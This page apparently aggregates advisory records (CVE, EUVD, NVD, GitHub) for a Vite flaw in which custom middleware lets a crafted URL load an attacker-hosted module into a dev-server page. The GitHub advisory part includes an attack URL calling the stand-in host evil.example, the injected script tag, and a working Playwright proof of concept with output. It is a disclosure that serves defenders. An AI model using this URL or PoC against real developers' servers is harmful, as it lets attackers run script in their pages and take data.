Vite: Cross origin script execution through Vite custom middleware
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-112945
PublishedVite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.
- Source published
- 20 Oct 2026 15:00:58 UTC
- Source modified
- 28 Oct 2026 14:11:03 UTC
- Observed here
- 28 Oct 2026 15:46:50 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · 2.1 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
euvd · EUVD-2026-105125
PublishedVite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Oct 20, 2026, 3:00:58 PM
dateUpdated: Oct 28, 2026, 2:11:03 PM
- Source published
- Oct 20, 2026, 3:00:58 PM (timezone not stated)
- Source modified
- Oct 28, 2026, 2:11:03 PM (timezone not stated)
- Observed here
- 30 Oct 2026 01:56:57 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 4.0 · 2.1 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
nvd · CVE-2026-112945
PublishedVite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Awaiting Analysis
Weakness classifications: CWE-80
Original publisher date fields
published: 2026-10-20T16:17:05.043
lastModified: 2026-10-28T15:17:03.200
- Source published
- 20 Oct 2026 16:17:05 UTC
- Source modified
- 28 Oct 2026 15:17:03 UTC
- Observed here
- 29 Oct 2026 05:48:28 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · [email protected] · Secondary · 2.1 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
osv · GHSA-9jrq-w75r-8gcw
Published### Summary When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server. ### Impact Only apps that match the following conditions are affected: - the dev server passes an unchanged browser request URL to `server.transformIndexHtml`: this is normally used for `server.middlewareMode: true` or `appType: 'custom'`. The internal call for `appType: 'spa'` and `appType: 'mpa'` does not match this. - the transformed HTML contains an inline module script - from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions ### Details [Vite's SSR guide for 8.2.1](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#L119-L131) documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform: ```js const url = req.originalUrl template = await vite.transformIndexHtml(url, template) ``` For a development server at `http://localhost:5173`, an attacker can send this URL: ```text http://localhost:5173//evil.example/payload.js?/../../package.json ``` In Vite 8.2.1, [`createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115) use the request URL as both the transform `path` and the input to `path.join`. The value passed to `path.join` still includes its query text. Chromium preserves `/../../package.json` because it follows `?` and is therefore query text. Vite treats the same characters as filesystem path components, so the `..` components resolve the derived filename to the existing project `package.json`. [The existing file branch in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L216-L232) checks that filename with `fs.existsSync`, then preserves the `htmlPath` supplied by the attacker as `proxyModuleUrl`. [The inline module rewrite in the same file](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L271-L278) writes that value into the generated `src`: ```html <script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script> ``` The generated value is a valid URL. Its leading `//` tells the browser to request the module from `evil.example` using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page. ### PoC ```js import { createServer as createHttpServer } from 'node:http' import { createRequire } from 'node:module' import { dirname, join } from 'node:path' import { fileURLToPath, pathToFileURL } from 'node:url' const directory = dirname(fileURLToPath(import.meta.url)) const require = createRequire(join(directory, 'package.json')) const { chromium } = require('playwright-chromium') const viteModule = await import( pathToFileURL(require.resolve('vite')).href ) const createViteServer = viteModule.createServer ?? viteModule.default.createServer // This loopback server stands in for a separately hosted attacker website. const attackerPort = 4173 const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json` const html = '<script type="module">document.body.textContent = "Vite app"</script>' const listen = (server, port = 0) => new Promise((resolve, reject) => { server.once('error', reject) server.listen(port, '127.0.0.1', () => { server.off('error', reject) resolve(server.address().port) }) }) const close = (server) => new Promise((resolve, reject) => { server.close((error) => (error ? reject(error) : resolve())) }) let attackerRequest = null const attacker = createHttpServer((request, response) => { attackerRequest = request.url response.writeHead(200, { 'access-control-allow-origin': '*', 'content-type': 'text/javascript', }) response.end( "document.documentElement.dataset.viteXssPoc = 'executed'", ) }) const vite = await createViteServer({ appType: 'custom', configFile: false, root: directory, server: { hmr: false, middlewareMode: true, watch: null, }, }) const application = createHttpServer((request, response) => { vite.middlewares(request, response, async (error) => { if (error) { response.destroy(error) return } try { const transformed = await vite.transformIndexHtml(request.url, html) response.writeHead(200, { 'content-type': 'text/html' }) response.end(transformed) } catch (transformError) { response.destroy(transformError) } }) }) await listen(attacker, attackerPort) const applicationPort = await listen(application) const browser = await chromium.launch({ headless: true }) try { const page = await browser.newPage() await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`) await page.waitForFunction( () => document.documentElement.dataset.viteXssPoc === 'executed', ) console.log(`attacker request: ${attackerRequest}`) console.log('JavaScript from the attacker server executed in the Vite page') } finally { await browser.close() await close(application) await vite.close() await close(attacker) } ``` Observed output on Vite 8.2.1: ```text attacker request: /payload.js?/../../package.json?html-proxy&index=0.js JavaScript from the attacker server executed in the Vite page ```
- Source published
- 21 Oct 2026 16:48:14 UTC
- Source modified
- 21 Oct 2026 17:00:26 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Publisher rating · LOW